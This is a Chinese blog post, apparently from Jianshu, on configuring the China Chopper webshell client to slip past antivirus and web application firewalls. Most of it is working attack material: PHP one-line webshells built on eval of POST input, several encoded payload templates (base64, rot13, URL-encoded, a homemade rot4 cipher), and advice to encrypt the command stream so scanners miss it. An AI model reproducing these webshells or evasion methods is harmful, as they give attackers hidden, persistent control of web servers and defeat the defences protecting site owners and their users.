菜刀配置设置

先参考我的这篇文章菜刀外部可见范围的运行机理,否则有可能看不懂下面内容。

可以这样设置caidao.conf 文件一些参数:

1、改 <FLAG>X@Y</FLAG> 为 <FLAG>`@~</FLAG>   // 防杀软识别,菜刀太有名了,有可能杀软加入了这个字符串的检测呢(还可以是: ~>$)
2、<PHP_BASE>
</PHP_BASE>
%s
</PHP_BASE>      # 没什么大用,只是可以这么操作
木马端依然是:<?php @eval(base64_decode($_POST['caidao']));?>

下面介绍,如何改 <PHP_BASE> 标签,更容易过 waf:

要想改这个标签,而且菜刀能正常使用需注意以下三点:
1、菜刀是base64加过密的,这个可能是caidao.exe 决定的,所以不可改变,因此菜刀传出的代码必须base64解密,
如类似:base64_decode($_POST[id])    之类
2、目标服务器接收端必须有如:$_POST[mima] 字样 
3、接收端还必须有:eval 等执行PHP代码的命令或函数存在
这里有一个好玩的尝试,可否菜刀端用 get 请求,服务器端也用 get 请求,赞未尝试

方法有对菜刀输出的命令数据流加解密:

1、使用base64再次加解密,或栅栏密码、凯撒密码、仿射密码、维吉尼亚密码等古典密码加解密
2、使用DES、AES等对称分组密码加解密
3、RC4等序列密码加解密
4、RSA等非对称密码加解密
5、可好玩的是组合上述加密算法,自己写加解密算法,没必要写太难的加密算法,只要对2、3、4中
那些现代加密算法的循环次数稍微改变一下就行了,反正只要杀软调用已知解密算法无法识别数据流,那杀软有
什么理由拦截你

加密算法那就研究 应用密码学 这本书吧。

参考链接: 过狗菜刀原理以及绕过魔术引号的配置
中国菜刀20160620初体验


PS:
使用过的 <PHP_BASE> 的标签和对应的一句话木马:

1、eval(base64_decode($_POST[id]));&id=%s       // 此行不能少了eval,不知道为什么,如果少了eval 会出现菜刀base64加密后再解密出现乱码的错误。
     <?php eval($_POST['caidao'])?>
2、eval(base64_decode('%s'));                    // 此行 %s 用单、双引号皆可
     <?php eval($_POST['caidao'])?>              // 注意,很多时候我会忘了给一句话加 @ ,自己加上就是
3、cmlueShvbmZyNjRfcXJwQnFSKCRfQ0JGR1t2cV0pKTs%%3D&id=%s
(实际上是:对 eval(base64_decOdE($_POST[id]));   str_rot13加密 再 base64编码 > url 编码)
  <?php @eval(str_rot13(base64_DeCode($_POST['caidao'])))?>
4、自己写的简单加密:
izep,fewi:8chigshi,(cTSWX_mha--?&id=%s
(实际上是:对 eval(base64_decode($_POST[id])); 在ascii 码[32,126]之间的字符循环后移4位)
  @eval(str_rot4_decode($_POST['caidao']));      这个是一句话木马代码,其中 str_rot4_decode 是自写解密函数。
# 这个自写解密函数只是个例子,还可以写更复杂的加解密算法。
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • 在渗透测试的后期,为了维持权限。我们通常都会选择使用大小马或者通过添加账户等各种各样的方式给自己留个后门。但是事情...
    自我陶醉阅读 10,711评论 0 3
  • 前言: 之前想着每天都更新一篇文章,但是连续几天之后,发现有好多博客大佬,所以觉得还是不要献丑好一点,然后就学习一...
    SuperGu阅读 5,183评论 1 0
  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 135,871评论 19 139
  • 一、了解WAF 1.1 什么是WAF Web应用防护系统(也称:网站应用级入侵防御系统 。英文:Web Appli...
    生活的探路者阅读 9,782评论 7 5
  • http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 当给sq...
    xuningbo阅读 13,536评论 2 22

友情链接更多精彩内容